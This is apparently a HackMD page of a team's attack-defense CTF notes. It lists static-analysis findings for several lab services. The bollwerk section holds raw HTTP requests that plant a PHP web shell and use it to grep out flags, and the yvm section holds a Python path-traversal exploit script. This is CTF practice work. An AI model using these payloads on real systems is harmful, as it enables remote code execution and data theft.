marecek
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # asocialnetwork JS asocialnetwork/docker-compose.yml yaml.docker-compose.security.no-new-privileges.no-new-privileges Service 'asocialnetwork-service-mongo' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this. Details: https://sg.run/0n8q 15┆ asocialnetwork-service-mongo: ⋮┆---------------------------------------- yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service Service 'asocialnetwork-service-mongo' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this. Details: https://sg.run/e4JE 15┆ asocialnetwork-service-mongo: asocialnetwork/src/server.js javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf- middleware-usage A CSRF middleware was not detected in your express application. Ensure you are either using one such as `csurf` or `csrf` (see rule references) and/or you are properly doing CSRF validation in your routes with a token or cookies. Details: https://sg.run/BxzR 2┆ const app = express() asocialnetwork/src/views/messages.ejs javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape Detected an explicit unescape in an EJS template, using '<%- ... %>' If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. Use '<%= ... %>' to escape this data. If you need escaping, ensure no external data can reach this location. Details: https://sg.run/dKXQ ▶▶┆ Autofix ▶ s/<%-(.*?)%>/<%=\1%>/g 53┆ <%= unreadMessage.sender.userName%> sent you a message: <%- unreadMessage.text%> ten posledny vyzera ako ssti # bollwerk PHP ``` bollwerk/app/Http/Response.php php.lang.security.non-literal-header.non-literal-header Using user input when setting headers with `header()` is potentially dangerous. This could allow an attacker to inject a new line and add a new header into the response. This is called HTTP response splitting. To fix, do not allow whitespace inside `header()`: '[^\s]+'. Details: https://sg.run/9rL8 31┆ header('Content-Disposition: attachment; filename="' . $filename ?? 'file' . '"'); ⋮┆---------------------------------------- 35┆ header('Content-Length: ' . filesize($path)); ``` - recipe: ``` POST /recipes HTTP/1.1 Host: 10.1.36.1:6009 User-Agent: python-requests/2.25.1 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Cookie: PHPSESSID=c82a3bb308539e78762529e18fc1bb4b Content-Length: 79 Content-Type: application/x-www-form-urlencoded title=4N07JH8Q6SPC&description=<?=exec($_GET['c']);?> ``` - musi sa uviest `viewPath` cookie ``` GET //?c=grep -ERho 'ENO[A-Za-z0-9+\/=]{48}' /var/www/html/files | tr ' ' ',' HTTP/1.1 Host: 10.1.36.1:6009 User-Agent: python-requests/2.25.1 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Cookie: PHPSESSID=c82a3bb308539e78762529e18fc1bb4b; viewPath=files/a79ba07dcf26d1815321c6d22176e0e2/4N07JH8Q6SPC.md ``` # granulizer C src/file_handler.c c.lang.security.insecure-use-memset.insecure-use-memset When handling sensitive information in a buffer, it's important to ensure that the data is securely erased before the buffer is deleted or reused. While `memset()` is commonly used for this purpose, it can leave sensitive information behind due to compiler optimizations or other factors. To avoid this potential vulnerability, it's recommended to use the `memset_s()` function instead. `memset_s()` is a standardized function that securely overwrites the memory with a specified value, making it more difficult for an attacker to recover any sensitive data that was stored in the buffer. By using `memset_s()` instead of `memset()`, you can help to ensure that your application is more secure and less vulnerable to exploits that rely on residual data in memory. Details: https://sg.run/l9GE ▶▶┆ Autofix ▶ memset_s(file_name_complete, 0, 128) 408┆ memset(file_name_complete, 0, 128); src/main.c c.lang.security.function-use-after-free.function-use-after-free Variable 'base64encoded' was passed to a function after being freed. This can lead to undefined behavior. Details: https://sg.run/eWyZ 337┆ log_warn("Error parsing the b64: %s", base64encoded); ⋮┆---------------------------------------- ^fixnuté c.lang.security.function-use-after-free.function-use-after-free Variable 'path_cpy' was passed to a function after being freed. This can lead to undefined behavior. Details: https://sg.run/eWyZ 444┆ strcpy(path_cpy, "default_data/bach.wav"); ⋮┆---------------------------------------- c.lang.security.insecure-use-memset.insecure-use-memset When handling sensitive information in a buffer, it's important to ensure that the data is securely erased before the buffer is deleted or reused. While `memset()` is commonly used for this purpose, it can leave sensitive information behind due to compiler optimizations or other factors. To avoid this potential vulnerability, it's recommended to use the `memset_s()` function instead. `memset_s()` is a standardized function that securely overwrites the memory with a specified value, making it more difficult for an attacker to recover any sensitive data that was stored in the buffer. By using `memset_s()` instead of `memset()`, you can help to ensure that your application is more secure and less vulnerable to exploits that rely on residual data in memory. Details: https://sg.run/l9GE ▶▶┆ Autofix ▶ memset_s(string, 0, 1024) 276┆ memset(string, 0, 1024); src/sharing.c c.lang.security.insecure-use-memset.insecure-use-memset When handling sensitive information in a buffer, it's important to ensure that the data is securely erased before the buffer is deleted or reused. While `memset()` is commonly used for this purpose, it can leave sensitive information behind due to compiler optimizations or other factors. To avoid this potential vulnerability, it's recommended to use the `memset_s()` function instead. `memset_s()` is a standardized function that securely overwrites the memory with a specified value, making it more difficult for an attacker to recover any sensitive data that was stored in the buffer. By using `memset_s()` instead of `memset()`, you can help to ensure that your application is more secure and less vulnerable to exploits that rely on residual data in memory. Details: https://sg.run/l9GE ▶▶┆ Autofix ▶ memset_s(file_path, 0, 128) 119┆ memset(file_path, 0, 128); # oldschool PHP ``` ✗ [Low] Use of Password Hash With Insufficient Computational Effort Path: www/index.php, line 420 Info: MD5 hash (used in md5) is insecure. Consider changing it to a secure hashing algorithm. ✗ [Low] XML External Entity (XXE) Injection Path: www/index.php, line 395 Info: Unsanitized input from a database flows to loadXML. This may result in an XXE vulnerability. You may be vulnerable if using an old version of PHP (<8.0) ``` ```bash PHP 7.4.3-4ubuntu2.19 (cli) (built: Jun 27 2023 15:49:59) ( NTS ) ``` # phreaking Go # steinsgate JS v app.js vyzera ako staticky definovane elypticke krivky ``` src/backend/Dockerfile dockerfile.security.missing-user-entrypoint.missing-user-entrypoint By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'. Details: https://sg.run/k281 ▶▶┆ Autofix ▶ USER non-root ENTRYPOINT crond && TOKEN_KEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) node app.js 17┆ ENTRYPOINT crond && TOKEN_KEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) node app.js src/backend/app.js javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf- middleware-usage A CSRF middleware was not detected in your express application. Ensure you are either using one such as `csurf` or `csrf` (see rule references) and/or you are properly doing CSRF validation in your routes with a token or cookies. Details: https://sg.run/BxzR 3┆ const app = express(); src/interface/app.py python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host Running flask app with host 0.0.0.0 could expose the server publicly. Details: https://sg.run/eLby 41┆ app.run(host="0.0.0.0", port=4420) ⋮┆---------------------------------------- python.flask.security.injection.subprocess-injection.subprocess-injection Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands. Details: https://sg.run/5gW3 31┆ resp = subprocess.check_output(args) ⋮┆---------------------------------------- python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use Detected subprocess function 'check_output' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.escape()'. Details: https://sg.run/NWxp 31┆ resp = subprocess.check_output(args) src/interface/client.py python.lang.security.deserialization.pickle.avoid-pickle Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format. Details: https://sg.run/OPwB 244┆ pickle.dump(ticket, fp) ⋮┆---------------------------------------- 436┆ configuration.session_ticket = pickle.load(fp) src/interface/templates/index.html html.security.audit.missing-integrity.missing-integrity This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files. Details: https://sg.run/krXA 3┆ <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/11.7.0/styles/default.min.css"> ⋮┆---------------------------------------- 4┆ <link rel="stylesheet" href="https://unpkg.com/98.css"> ⋮┆---------------------------------------- 32┆ <script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/11.7.0/highlight.min.js"></script> ``` # yvm Ocaml docker-compose.yml yaml.docker-compose.security.no-new-privileges.no-new-privileges Service 'nginx' allows for privilege escalation via setuid or setgid binaries. Add 'no-new- privileges:true' in 'security_opt' to prevent this. Details: https://sg.run/0n8q 3┆ nginx: ⋮┆---------------------------------------- yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service Service 'nginx' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this. Details: https://sg.run/e4JE 3┆ nginx: web/util.php php.lang.security.exec-use.exec-use Executing non-constant commands. This can lead to command injection. Details: https://sg.run/5Q1j 10┆ $process = proc_open($args, $fd_spec, $pipes, getcwd() . "/$dir", 11┆ array("OCAMLRUNPARAM" => "b")); toto by nemal byť problém asi, pred tým je array_unshift($args, "../yvm", $class); exploit: http://localhost:6969/flow/64bbd529e3eb8acab2fbb2c9 ``` import os import requests import sys host = sys.argv[1] headers = {'User-Agent': 'python-requests/2.28.1', 'Cookie': 'token=../notes/1302syywavaykdzaxyae'} data = {} requests.get(f"http://{host}:3165" + '/notes.php?show=flag', data=data, headers=headers) ``` checker bot: User-Agent: python-httpx/0.23.3 C

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully